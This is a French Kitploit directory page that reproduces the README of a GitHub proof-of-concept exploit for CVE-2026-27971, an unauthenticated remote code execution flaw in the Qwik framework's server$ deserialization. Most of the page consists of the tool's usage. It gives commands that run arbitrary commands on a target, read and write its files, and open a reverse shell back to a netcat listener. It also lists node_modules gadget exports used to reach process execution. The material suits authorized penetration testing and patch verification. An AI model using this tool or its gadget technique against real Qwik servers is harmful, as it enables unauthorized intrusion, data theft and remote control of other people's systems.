Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-27971_POC — CVE-2026-27971 qwik rce | Kitploit
Outils/GitHubGitHub/ghalendar/cve-2026-27971_poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubghalendar/cve-2026-27971_poc

CVE-2026-27971_POC

CVE-2026-27971 qwik rce

Voir le dépôt
15il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-27971 — PoC RCE non authentifiée pour Qwik server$

[!WARNING] Ce dépôt contient une preuve de concept active d’exécution de code à distance. Ne l’utilisez que sur des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à effectuer des tests. L’auteur décline toute responsabilité en cas d’utilisation non autorisée ou de dommages.

Une preuve de concept Python autonome pour CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, une vulnérabilité d’exécution de code à distance non authentifiée dans le mécanisme de désérialisation RPC server$ de Qwik.

Le PoC peut effectuer une sonde de marqueur active, exécuter des commandes, lire ou écrire des fichiers texte et demander un reverse shell sur des cibles Linux ou Windows. Il utilise uniquement la bibliothèque standard de Python.

Résumé de la vulnérabilité

ChampValeur
ProduitQwik — paquet npm @builder.io/qwik
Versions concernées<= 1.19.0
Version corrigée1.19.1
VulnérabilitéExécution de code à distance non authentifiée via une désérialisation non sécurisée de server$
Condition d’exécutionrequire() doit être disponible à l’exécution
CWECWE-502 — Désérialisation de données non fiables
SévéritéCritique — CVSS 4.0 : 9.2
VecteurCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Une requête application/qwik-json spécialement conçue peut référencer un module côté serveur et un symbole exporté. Les versions vulnérables de Qwik peuvent résoudre un QRL non enregistré via require() à l’exécution et l’invoquer sans authentification. Ce PoC tente d’atteindre une exportation d’exécution de processus compatible déjà présente dans le node_modules de la cible.

Prérequis

Opérateur :

  • Python 3.
  • Un accès réseau à la route Qwik exacte qui traite la requête server$/Qwik JSON.
  • Un listener joignable depuis la cible lors des tests de la fonctionnalité reverse shell.

Cible :

  • Un déploiement Qwik vulnérable utilisant @builder.io/qwik <= 1.19.0.
  • Un environnement d’exécution où require() est disponible.
  • Un module gadget compatible et une exportation accessibles dans node_modules.
  • node disponible dans le PATH du processus du service.
  • Des permissions de compte de service suffisantes pour la commande ou l’opération sur fichier demandée.

Aucun paquet Python tiers n’est requis.

Démarrage rapide

git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help

Lister les gadgets intégrés sans envoyer de requête :

python3 exploit_combat.py --list-gadgets

Exécuter une sonde de marqueur active et tester chaque gadget intégré :

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe

[!IMPORTANT] --probe n’est pas une détection passive de version. Il tente une exécution de code à distance et la confirme en affichant un marqueur depuis le processus cible.

Exemples d’utilisation

Exécuter une commande :

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"

Lire un fichier texte UTF-8 :

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json

Écrire et vérifier un fichier texte UTF-8 :

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"

Demander un reverse shell après avoir démarré un listener persistant :

nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback

Forcer la charge utile de reverse shell Windows lorsque la détection automatique du système d’exploitation n’est pas appropriée :

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444

Le script ne démarre pas de listener. La vérification préalable --callback ouvre et ferme une connexion TCP distincte avant d’envoyer la charge utile du shell ; utilisez donc un listener capable d’accepter plusieurs connexions.

Référence CLI

OptionDescription
-t URL, --target URLURL cible exacte. Défaut : http://localhost:3000. La route n’est pas découverte automatiquement.
--probeExécuter activement une charge utile de marqueur et tenter la détection du système d’exploitation.
-c CMD, --CMD CMDExécuter une commande via Node.js child_process.execSync().
--read PATHLire un fichier texte UTF-8 à l’aide de fs.readFileSync().
--write PATH --content TEXTÉcrire un fichier texte, le relire, puis comparer le résultat. Les répertoires parents ne sont pas créés.
--list-gadgetsAfficher les noms des gadgets intégrés et quitter sans requête réseau.
--lhost IPActiver le mode reverse shell et définir l’adresse de rappel.
--lport PORTDéfinir le port de rappel. Défaut : 4444.
--rev-allEnvoyer toutes les variantes de reverse shell au lieu de s’arrêter après la première requête HTTP acceptée.
--callbackTester la connectivité TCP sortante avant d’envoyer une charge utile de reverse shell.
--OS {auto,linux,windows}Sélectionner la famille de charges utiles de reverse shell. Défaut : auto.
--gadget SPECUtiliser auto, un nom intégré ou un <module>#<symbol> personnalisé. Défaut : cross-spawn.sync.
--arg-style {argv,command,shell}Style d’arguments pour un gadget <module>#<symbol> personnalisé.
--timeout SECONDSDélai d’attente HTTP côté client. Défaut : 30.
--verify-sslActiver la vérification du certificat TLS et du nom d’hôte. La vérification est désactivée par défaut.

Les modes d’action ne sont pas mutuellement exclusifs dans l’analyseur. Utilisez l’un des --probe, --CMD, --read, --write ou --lhost par invocation.

Gadgets intégrés

NomModule et exportationStyle
cross-spawn.sync./node_modules/cross-spawn/index#syncargv
cross-spawn.index-js./node_modules/cross-spawn/index.js#syncargv
execa.sync./node_modules/execa/index#syncargv
execa.index-js.sync./node_modules/execa/index.js#syncargv
execa.commandSync./node_modules/execa/index#commandSynccommand
execa.index-js.commandSync./node_modules/execa/index.js#commandSynccommand
node-cmd.runSync./node_modules/node-cmd/cmd#runSyncshell
node-cmd.cmd-js.runSync./node_modules/node-cmd/cmd.js#runSyncshell

--gadget auto teste ces gadgets dans l’ordre indiqué. Un gadget personnalisé peut être fourni comme suit :

python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe

Limitations importantes

Télécharger l’outil